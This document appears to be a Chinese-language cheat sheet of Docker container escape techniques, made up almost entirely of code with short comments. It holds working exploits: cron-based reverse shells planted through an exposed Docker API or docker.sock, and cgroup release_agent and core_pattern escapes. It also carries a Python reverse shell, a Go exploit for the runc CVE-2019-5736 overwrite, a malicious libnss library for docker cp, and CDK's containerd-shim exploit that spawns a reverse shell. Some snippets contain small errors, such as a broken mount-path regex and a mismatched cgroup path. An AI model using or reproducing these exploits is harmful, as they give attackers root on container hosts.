Docker逃逸

#shell 1
root@VM-24-4-ubuntu:/opt# unshare --fork --pid --mount-proc /bin/bash
# --mount-proc 从新命名空间挂载proc文件系统，否则使用的仍为原来proc文件系统，导致命名空间不起作用
root@VM-24-4-ubuntu:/opt# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 13:41 pts/4    00:00:00 /bin/bash
root        11     1  0 13:41 pts/4    00:00:00 ps -ef


#shell 2
root@VM-24-4-ubuntu:/opt# ps -p1
  PID TTY          TIME CMD
    1 ?        00:02:14 systemd

ps -p1
# 容器和宿主机共享内核，容器内pid为1的进程为容器初始化运行进程

KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk -F '=' '/BOOT_IMAGE/{print $2}')
test -e $KERNEL_PATH && echo "Not Sure" || echo "Container"

cat /proc/1/cgroup

cat /proc/1/cgroup | grep -qi docker && echo "Docker" || echo "Not Docker"

ls -la /.dockerenv

[[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker"

sudo readlink /proc/1/exe
// 如果返回system字样则为宿主机；readlink读取链接，exe代表1进程运行文件，原理上和第一个相同

import docker

client = docker.DockerClient(base_url='http://docker-remote-api-ip:2375/')
data = client.containers.run('alpine', r'''sh -c "echo '* * * * * bash -i >& /dev/tcp/10.0.24.4/8080 0>&1' >> /tmp/var/spool/cron/crontabs/root" ''', remove=True, volumes={'/var': {'bind': '/tmp/var', 'mode': 'rw'}})

root@3d82f77f2bed:/opt# fdisk -l
Disk /dev/vda: 80 GiB, 85899345920 bytes, 167772160 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3fa1d255

Device     Boot Start       End   Sectors Size Id Type
/dev/vda1  *     2048 167772126 167770079  80G 83 Linux
root@3d82f77f2bed:/opt# mount /dev/vda1 /opt/data/
root@3d82f77f2bed:/opt# ls /opt/data/
bin  boot  data  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  ...

cgroup_dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n2)`
##  获取容器内某个子系统目录
mkdir -p $cgroup_dir/node;echo 1 >$cgroup_dir/node/notify_on_release
## 子系统目录下创建文件夹，即创建资源分组，并设置改分组下notify_on_release为1
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
## 获取容器在宿主机的挂载目录
touch /cmd; echo $host_path/cmd >$cgroup_dir/release_agent
## 创建cmd脚本，并将脚本路径写入子系统的release_agent中
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
## 脚本写入命令，并授予权限
sh -c "echo \$\$ > $cgroup_dir/node/cgroup.procs"
## 将sh 加入资源分组

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
## tmp目录下挂载rmda子系统，创建资源分组
echo 1 > /tmp/cgrp/x/notify_on_release
## 设置该资源分组下notify_on_release为 1
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
## 获取容器在宿主机的挂载目录
echo "$host_path/cmd" > /tmp/cgrp/release_agent
## 将脚本路径写入子系统的release_agent中
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
## 脚本写入命令，并授予权限
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
## 将sh 加入资源分组

import docker

client = docker.DockerClient(base_url='unix://var/run/docker.sock')
data = client.containers.run('alpine', r'''sh -c "echo '* * * * * bash -i >& /dev/tcp/10.0.24.4/8080 0>&1' >> /tmp/var/spool/cron/crontabs/root" ''', remove=True, volumes={'/var': {'bind': '/tmp/var', 'mode': 'rw'}})

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   s.close()
if __name__ == "__main__":
   main()

#On the host
docker run  -v /proc:/mnt/host_proc --rm -it ubuntu bash

# In the container
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
## 获取容器挂载目录
echo -e "|$host_path/tmp/poc.py \rcore    " >  /mnt/host_proc/sys/kernel/core_pattern
## 执行命令加入 core_pattern
./poc
## 执行段错误程序触发漏洞，出现(core dumped)运行成功。

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
  // 判断加载进程，容器内进程则返回
     if (!is_priviliged())
           return;
 // 将根目录下 /original_libnss_files.so.2 转移到 /lib/x86_64-linux-gnu/libnss_files.so.2，完成一次恶意执行，移除恶意库。
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
  
  // 创建子进程，执行breakout，通过修改breakout中内容，可以命令可控，不必多次编译
     if (!fork())
     {

           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child

     return;
}
/**
 *  因为这里docker-tar进程通过chroot命令更换的根目录，其对应的 /proc/self/exe 应该在宿主机上；
 *  而不在容器内，容器内相应进程运行其 /proc/self/exe 会存在于容器内。所以可以通过该方法判断，
 *  判断调用该库的进程，避免容器内进程触发。
 */
bool is_priviliged()
{
  // 获取当前进程描述符
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

#!/bin/bash
# execve执行二进制文件，如果不指明运行环境，则会运行失败。

umount /host_fs && rm -rf /host_fs
mkdir /host_fs

# 为什么挂载 proc？因为该进程通过chroot已经切换到容器路径内，通过挂载宿主机proc，
# 通过宿主机系统进程根目录，找到宿主机根目录
# proc中 root指向进程的根目录

mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

cp /lib/x86_64-linux-gnu/libnss_files*.so /original_libnss_files.so.2

#!/usr/bin/python3
import lief
libnss_file = lief.parse("/lib/x86_64-linux-gnu/libnss_files.so.2")
libnss_file.add_library("/tmp/libhacker.so")
libnss_file.write("/lib/x86_64-linux-gnu/libnss_files.so.2")

cat /proc/net/unix | grep 'containerd-shim' | grep '@'

service Shim {
	// State returns shim and task state information.
	rpc State(StateRequest) returns (StateResponse);

	rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

	rpc Start(StartRequest) returns (StartResponse);

	rpc Delete(google.protobuf.Empty) returns (DeleteResponse);

	rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

	rpc ListPids(ListPidsRequest) returns (ListPidsResponse);

	rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

	rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

	rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

	rpc Kill(KillRequest) returns (google.protobuf.Empty);

	rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);

	rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

	rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);

	// ShimInfo returns information about the shim.
	rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

	rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);

	rpc Wait(WaitRequest) returns (WaitResponse);
}

./cdk_linux_amd64 run shim-pwn reverse 10.0.24.4 8080

package exploit

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net"
	"os"
	"regexp"
	"strings"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
	"github.com/containerd/ttrpc"
)

// runc config.json文件，runc根据该文件创建容器环境，其中hooks的prestart为容器创建前回调，此时为宿主机环境，这是执行的为反弹shell
var configJson = `
{
  "ociVersion": "1.0.1-dev",
  "process": {
    "terminal": false,
    "user": {
      "uid": 0,
      "gid": 0
    },
    "args": [
      "/bin/bash"
    ],
    "env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "HOSTNAME=b6cee9b57f3b",
      "TERM=xterm"
    ],
    "cwd": "/"
  },
  "root": {
   "path": "/tmp"
  },
  "hostname": "b6cee9b57f3b",
  "hooks": {
        "prestart": [
            {
                "path": "/bin/bash",
                "args": ["bash", "-c", "$SHELLCMD$"],
                "env":  ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
            }
        ]
    },
  "linux": {
    "resources": {
      "devices": [
        {
          "allow": false,
          "access": "rwm"
        }
      ],
      "memory": {
        "disableOOMKiller": false
      },
      "cpu": {
        "shares": 0
      },
      "blockIO": {
        "weight": 0
      }
    },
    "namespaces": [
      {
        "type": "mount"
      },
      {
        "type": "network"
      },
      {
        "type": "uts"
      },
      {
        "type": "ipc"
      }
    ]
  }
}
`

func containerdShimApiExp(sock, shellCmd, rhost, rport string) error {
  // 替换获取的抽象路径名 unix socket 为 \xoo + socketPath，抽象路径名规定path第一个位为 \x00，而 /proc/net/unix 获取的为 @开始
	sock = strings.Replace(sock, "@", "", -1)
	conn, err := net.Dial("unix", "\x00"+sock)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "fail to connect unix socket " + sock}
	}

   // 创建 ttrpc 客户端，为grpc的简版
	client := ttrpc.NewClient(conn)
  // 创建shim客户端
	shimClient := shimapi.NewShimClient(client)
	ctx := context.Background()

	// config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json
	// rootfs path /var/lib/docker/overlay2/<id>/merged

  // 创建生成容器的BundlePath目录
	localBundlePath := fmt.Sprintf("/cdk_%s", util.RandString(6))
	os.Mkdir(localBundlePath, os.ModePerm)

  // 拼接宿主机下 BundlePath完整目录
	dockerAbsPath := GetDockerAbsPath() + "/merged" + localBundlePath

  // payload
	var payloadShellCmd = ""
	if len(shellCmd) > 0 {
		payloadShellCmd = shellCmd
	} else {
		payloadShellCmd = fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", rhost, rport)
	}
	configJson = strings.Replace(configJson, "$SHELLCMD$", payloadShellCmd, -1)

  // BundlePath完整目录下写入config.json文件，方便runc根据其创建容器
	err = ioutil.WriteFile(localBundlePath+"/config.json", []byte(configJson), 0666)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to write file."}
	}

   // 调用shim客户端创建容器
	var M = shimapi.CreateTaskRequest{
		ID:       util.RandString(10), // needs to be different in each exploit
		Bundle:   dockerAbsPath,       // use container abspath so runc can find config.json
		Terminal: false,
		Stdin:    "/dev/null",
		Stdout:   "/dev/null",
		Stderr:   "/dev/null",
	}

	info, err := shimClient.Create(ctx, &M)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "rpc error response."}
	}
	log.Println("shim pid:", info.Pid)
	return nil
}

// 获取shim的unix抽象路径套接字名称
func getShimSockets() ([][]byte, error) {
	re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
	if err != nil {
		return nil, err
	}
	data, err := ioutil.ReadFile("/proc/net/unix")
	matches := re.FindAll(data, -1)
	if matches == nil {
		return nil, errors.New("Cannot find vulnerable containerd-shim socket.")
	}
	return matches, nil
}


func ContainerdPwn(shellCmd string, rhost string, rport string) error {
	matchset := make(map[string]bool)
	socks, err := getShimSockets()
	if err != nil {
		return err
	}
	for _, b := range socks {
		sockname := string(b)
		if _, ok := matchset[sockname]; ok {
			continue
		}
		log.Println("try socket:", sockname)
		matchset[sockname] = true
		err = containerdShimApiExp(sockname, shellCmd, rhost, rport)
		if err == nil { // exploit success
			return nil
		} else {
			if strings.Contains(fmt.Sprintln(err), "close exec fds: open /proc/self/fd") {
				log.Println("exploit success.")
				return nil
			}
			log.Println(err)
		}
	}
	return errors.New("exploit failed.")
}

// plugin interface
type containerdShimPwnS struct{}

func (p containerdShimPwnS) Desc() string {
	return "pwn CVE-2020-15257,start a privileged reverse shell to remote host or execute cmd. usage: \"./cdk run shim-pwn reverse <RHOST> <RPORT>\" or \"./cmd shim-pwn <SHELL_CMD>\" "
}
func (p containerdShimPwnS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) < 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	if args[0] == "reverse" {
		rhost := args[1]
		rport := args[2]
		log.Printf("trying to spawn shell to %s:%s\n", rhost, rport)
		err := ContainerdPwn("", rhost, rport)
		if err != nil {
			log.Println(err)
			return false
		}
	} else {
		shellCmd := strings.Join(args, " ")
		log.Printf("trying to run shell cmd: %s\n", shellCmd)
		err := ContainerdPwn(shellCmd, "", "")
		if err != nil {
			log.Println(err)
			return false
		}
	}

	return true
}

func init() {
	exploit := containerdShimPwnS{}
	plugin.RegisterExploit("shim-pwn", exploit)
}

#On the host
docker run --rm -it  --security-opt apparmor=unconfined --security-opt seccomp=unconfined ubuntu bash


#In the container
unshare -UrmC bash  
# 通过unshare创建新的Namespace，隔离用户、映射root用户、隔离mount和cgroup并运行bash。
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup  
# 增加挂载cgroups文件系统操作
cgroup_dir=/tmp/cgroup
# 修改cgroup_dir对应目录路径
mkdir -p $cgroup_dir/node
echo 1 >$cgroup_dir/node/notify_on_release
host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > $cgroup_dir/node/cgroup.procs"